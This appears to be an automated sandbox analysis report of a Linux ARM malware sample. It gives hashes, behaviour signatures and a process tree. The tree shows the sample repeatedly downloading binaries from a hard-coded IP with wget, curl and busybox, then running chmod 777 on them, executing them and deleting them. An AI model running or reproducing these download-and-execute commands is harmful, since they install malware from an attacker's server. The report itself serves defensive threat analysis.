Analysis

  • max time kernel
    16s
  • max time network
    18s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/11/2024, 01:31

General

  • Target

    a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5N

  • Size

    10KB

  • MD5

    a7136f5f7aad005f449adf4d9eb6e330

  • SHA1

    b6cddbe652904c25cc2e6c5f3063fb13a4df6737

  • SHA256

    a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5

  • SHA512

    246aa712ed98a0566dc01bd9c38641f09934c708bff0e9535d33a324e832016dc28f55477382fd2c5611a9b79d4b4430ff37fb83814b6fcbb5db8b06708b657e

  • SSDEEP

    192:8OyzO6my8zK4ZbHrTssv9my8zK4uHrTssiAl:CzOZzL

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 18 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5N
    /tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5N
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:639
        • /usr/bin/wget
          wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
          2⤵
            PID:641
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:668
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
            2⤵
              PID:685
            • /bin/chmod
              chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
              2⤵
              • File and Directory Permissions Modification
              PID:692
            • /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
              ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
              2⤵
              • Executes dropped EXE
              PID:693
            • /bin/rm
              rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
              2⤵
                PID:695
              • /usr/bin/wget
                wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                2⤵
                  PID:697
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:703
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                  2⤵
                    PID:715
                  • /bin/chmod
                    chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:720
                  • /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                    ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                    2⤵
                    • Executes dropped EXE
                    PID:721
                  • /bin/rm
                    rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
                    2⤵
                      PID:722
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                      2⤵
                        PID:723
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:725
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                        2⤵
                          PID:726
                        • /bin/chmod
                          chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                          2⤵
                          • File and Directory Permissions Modification
                          PID:729
                        • /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                          ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                          2⤵
                          • Executes dropped EXE
                          PID:730
                        • /bin/rm
                          rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
                          2⤵
                            PID:732
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                            2⤵
                              PID:733
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:740
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                              2⤵
                                PID:747
                              • /bin/chmod
                                chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                                2⤵
                                • File and Directory Permissions Modification
                                PID:753
                              • /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                                ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                                2⤵
                                • Executes dropped EXE
                                PID:754
                              • /bin/rm
                                rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
                                2⤵
                                  PID:756
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                  2⤵
                                    PID:757
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:764
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                    2⤵
                                      PID:768
                                    • /bin/chmod
                                      chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:769
                                    • /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                      ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                      2⤵
                                      • Executes dropped EXE
                                      PID:770
                                    • /bin/rm
                                      rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
                                      2⤵
                                        PID:771
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                        2⤵
                                          PID:772
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:773
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                          2⤵
                                            PID:774
                                          • /bin/chmod
                                            chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:775
                                          • /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                            ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                            2⤵
                                            • Executes dropped EXE
                                            PID:776
                                          • /bin/rm
                                            rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
                                            2⤵
                                              PID:777
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                              2⤵
                                                PID:778
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:779
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                2⤵
                                                  PID:780
                                                • /bin/chmod
                                                  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:781
                                                • /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:782
                                                • /bin/rm
                                                  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
                                                  2⤵
                                                    PID:783
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                    2⤵
                                                      PID:784
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:785
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                      2⤵
                                                        PID:786
                                                      • /bin/chmod
                                                        chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:787
                                                      • /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                        ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:788
                                                      • /bin/rm
                                                        rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
                                                        2⤵
                                                          PID:789
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                          2⤵
                                                            PID:790
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:791
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                            2⤵
                                                              PID:793
                                                            • /bin/chmod
                                                              chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:795
                                                            • /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                              ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:796
                                                            • /bin/rm
                                                              rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
                                                              2⤵
                                                                PID:797
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
                                                                2⤵
                                                                  PID:798

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

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                                                              Downloads

                                                              • /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ

                                                                Filesize

                                                                153B

                                                                MD5

                                                                998368d7c95ea4293237f2320546e440

                                                                SHA1

                                                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                SHA256

                                                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                SHA512

                                                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97